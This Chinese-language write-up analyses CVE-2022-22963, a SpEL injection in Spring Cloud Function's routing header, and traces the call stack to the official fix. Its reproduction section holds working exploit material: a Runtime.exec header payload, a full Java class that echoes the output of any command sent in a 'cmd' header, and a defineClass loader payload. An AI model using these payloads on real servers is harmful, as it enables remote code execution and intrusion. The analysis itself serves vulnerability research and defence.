Spring Cloud Function 是基于 Spring Boot 的函数计算框架。该项目致力于促进函数为主的开发单元,它抽象出所有传输细节和基础架构,并提供一个通用的模型,用于在各种平台上部署基于函数的软件
由于Spring Cloud Function中RoutingFunction类的apply方法将请求头中的spring.cloud.function.routing-expression
参数作为Spel表达式进行处理,造成了Spel表达式注入漏洞,攻击者可利用该漏洞远程执行任意代码
官方通告:https://spring.io/security/cve-2022-22963
影响版本:
- 3.0.0.RELEASE <= Spring Cloud Function <= 3.1.6
- Spring Cloud Function <= 3.2.2
不受影响版本:
- Spring Cloud Function 3.1.7
- Spring Cloud Function 3.2.3
环境搭建
可以借助Spring Initializr快速构建一个Demo,访问官网:https://start.spring.io/,然后ADD DEPENDENCIES添加 Function 和 Spring Web
修改pom.xml切换到存在漏洞的版本即可
1 2 3 4 5 6 7 8 9 10 11
| <dependency> <groupId>org.springframework.cloud</groupId> <artifactId>spring-cloud-function-context</artifactId> <version>3.2.0</version> </dependency>
<dependency> <groupId>org.springframework.cloud</groupId> <artifactId>spring-cloud-starter-function-web</artifactId> <version>3.2.0</version> </dependency>
|
漏洞复现
使用特定的路由/functionRouter
,然后在header处加入payload
1
| spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("calc")
|
成功弹出计算器
回显
但是如果不出网,就要使用spring的回显
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39
| import java.lang.reflect.Method; import java.util.Scanner;
public class SpringEcho { static { try { Class c = Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.context.request.RequestContextHolder"); Method m = c.getMethod("getRequestAttributes"); Object o = m.invoke(null); c = Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.context.request.ServletRequestAttributes"); m = c.getMethod("getResponse"); Method m1 = c.getMethod("getRequest"); Object resp = m.invoke(o); Object req = m1.invoke(o); Method getWriter = Thread.currentThread().getContextClassLoader().loadClass("javax.servlet.ServletResponse").getDeclaredMethod("getWriter"); Method getHeader = Thread.currentThread().getContextClassLoader().loadClass("javax.servlet.http.HttpServletRequest").getDeclaredMethod("getHeader",String.class); getHeader.setAccessible(true); getWriter.setAccessible(true); Object writer = getWriter.invoke(resp); String cmd = (String)getHeader.invoke(req, "cmd"); String[] commands = new String[3]; String charsetName = System.getProperty("os.name").toLowerCase().contains("window") ? "GBK":"UTF-8"; if (System.getProperty("os.name").toUpperCase().contains("WIN")) { commands[0] = "cmd"; commands[1] = "/c"; } else { commands[0] = "/bin/sh"; commands[1] = "-c"; } commands[2] = cmd; writer.getClass().getDeclaredMethod("println", String.class).invoke(writer, new Scanner(Runtime.getRuntime().exec(commands).getInputStream(),charsetName).useDelimiter("\\A").next()); writer.getClass().getDeclaredMethod("flush").invoke(writer); writer.getClass().getDeclaredMethod("close").invoke(writer); } catch (Exception e) {
}
} }
|
使用defineClass方式加载字节码
1
| T(org.springframework.cglib.core.ReflectUtils).defineClass('SpringEcho',T(org.springframework.util.Base64Utils).decodeFromString('yv66vgAAA.....'),new javax.management.loading.MLet(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader()))
|
成功回显,注意这里header的大小不能超过8192字节
漏洞分析
漏洞触发点是在org.springframework.cloud.function.context.config.RoutingFunction#functionFromExpression
,使用 StandardEvaluationContext 对象解析 SpEL 表达式的值,造成 SpEL 表达式注入
向上跟踪它的route方法,发现第一个参数来自请求头中的spring.cloud.function.routing-expression
的值,可控
并且是通过它的apply方法触发this.route
的,可以看到存在一个
1
| public static final String FUNCTION_NAME = "functionRouter";
|
RoutingFunction 是 Function 接口的实现类,我们就要想办法触发到 RoutingFunction
官方文档:https://docs.spring.io/spring-cloud-function/docs/3.2.0/reference/html/spring-cloud-function.html#_function_routing_and_filtering
调用栈如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57
| functionFromExpression:196, RoutingFunction (org.springframework.cloud.function.context.config) route:126, RoutingFunction (org.springframework.cloud.function.context.config) apply:85, RoutingFunction (org.springframework.cloud.function.context.config) doApply:698, SimpleFunctionRegistry$FunctionInvocationWrapper (org.springframework.cloud.function.context.catalog) apply:550, SimpleFunctionRegistry$FunctionInvocationWrapper (org.springframework.cloud.function.context.catalog) processRequest:108, FunctionWebRequestProcessingHelper (org.springframework.cloud.function.web.util) get:115, FunctionController (org.springframework.cloud.function.web.mvc) invoke0:-1, NativeMethodAccessorImpl (sun.reflect) invoke:62, NativeMethodAccessorImpl (sun.reflect) invoke:43, DelegatingMethodAccessorImpl (sun.reflect) invoke:498, Method (java.lang.reflect) doInvoke:205, InvocableHandlerMethod (org.springframework.web.method.support) invokeForRequest:150, InvocableHandlerMethod (org.springframework.web.method.support) invokeAndHandle:117, ServletInvocableHandlerMethod (org.springframework.web.servlet.mvc.method.annotation) invokeHandlerMethod:895, RequestMappingHandlerAdapter (org.springframework.web.servlet.mvc.method.annotation) handleInternal:808, RequestMappingHandlerAdapter (org.springframework.web.servlet.mvc.method.annotation) handle:87, AbstractHandlerMethodAdapter (org.springframework.web.servlet.mvc.method) doDispatch:1072, DispatcherServlet (org.springframework.web.servlet) doService:965, DispatcherServlet (org.springframework.web.servlet) processRequest:1006, FrameworkServlet (org.springframework.web.servlet) doGet:898, FrameworkServlet (org.springframework.web.servlet) service:502, HttpServlet (javax.servlet.http) service:883, FrameworkServlet (org.springframework.web.servlet) service:596, HttpServlet (javax.servlet.http) internalDoFilter:209, ApplicationFilterChain (org.apache.catalina.core) doFilter:153, ApplicationFilterChain (org.apache.catalina.core) doFilter:53, WsFilter (org.apache.tomcat.websocket.server) internalDoFilter:178, ApplicationFilterChain (org.apache.catalina.core) doFilter:153, ApplicationFilterChain (org.apache.catalina.core) doFilterInternal:100, RequestContextFilter (org.springframework.web.filter) doFilter:117, OncePerRequestFilter (org.springframework.web.filter) internalDoFilter:178, ApplicationFilterChain (org.apache.catalina.core) doFilter:153, ApplicationFilterChain (org.apache.catalina.core) doFilterInternal:93, FormContentFilter (org.springframework.web.filter) doFilter:117, OncePerRequestFilter (org.springframework.web.filter) internalDoFilter:178, ApplicationFilterChain (org.apache.catalina.core) doFilter:153, ApplicationFilterChain (org.apache.catalina.core) doFilterInternal:201, CharacterEncodingFilter (org.springframework.web.filter) doFilter:117, OncePerRequestFilter (org.springframework.web.filter) internalDoFilter:178, ApplicationFilterChain (org.apache.catalina.core) doFilter:153, ApplicationFilterChain (org.apache.catalina.core) invoke:167, StandardWrapperValve (org.apache.catalina.core) invoke:90, StandardContextValve (org.apache.catalina.core) invoke:492, AuthenticatorBase (org.apache.catalina.authenticator) invoke:130, StandardHostValve (org.apache.catalina.core) invoke:93, ErrorReportValve (org.apache.catalina.valves) invoke:74, StandardEngineValve (org.apache.catalina.core) service:343, CoyoteAdapter (org.apache.catalina.connector) service:389, Http11Processor (org.apache.coyote.http11) process:63, AbstractProcessorLight (org.apache.coyote) process:926, AbstractProtocol$ConnectionHandler (org.apache.coyote) doRun:1791, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net) run:49, SocketProcessorBase (org.apache.tomcat.util.net) runWorker:1191, ThreadPoolExecutor (org.apache.tomcat.util.threads) run:659, ThreadPoolExecutor$Worker (org.apache.tomcat.util.threads) run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads) run:748, Thread (java.lang)
|
特定路由RCE
来看一下为什么特定的/functionRouter
路由会实现RCE
在org.springframework.web.servlet.DispatcherServlet#doDispatch
中,存在调用getHandler方法
这个方法会走到org.springframework.cloud.function.web.util.FunctionWebRequestProcessingHelper#findFunction
跟进doFindFunction方法
会根据path获取对应的function,如果获取的值为空,还会去读取本身配置中的 functionDefinition 获取 function 的值
在org.springframework.cloud.function.web.mvc.FunctionController
中使用/**
监听Get/Post类型的所有路由
会调用org.springframework.cloud.function.web.util.FunctionWebRequestProcessingHelper#processRequest
方法,继续跟进
可以看到通过wrapper获取到当前function,调用它的apply方法,跟进org.springframework.cloud.function.context.catalog.SimpleFunctionRegistry.FunctionInvocationWrapper#apply
调用doApply方法,继续跟进
调用((Function)this.target)
的apply方法,这个target正好是RoutingFunction类
漏洞修复
https://github.com/spring-cloud/spring-cloud-function/commit/0e89ee27b2e76138c16bcba6f4bca906c4f3744f
官方的修复方法首先判断是否是从Header头中读取,为true的话就调用安全函数解析
使用SimpleEvaluationContext替换了StandardEvaluationContext
1
| private final SimpleEvaluationContext headerEvalContext = SimpleEvaluationContext.forPropertyAccessors(DataBindingPropertyAccessor.forReadOnlyAccess()).build();
|
参考:
Spring Cloud Function SPEL表达式注入漏洞
Netty和Tomcat环境下给Spring Cloud Function Spel RCE注入冰蝎内存马
Spring Cloud Function v3.x SpEL RCE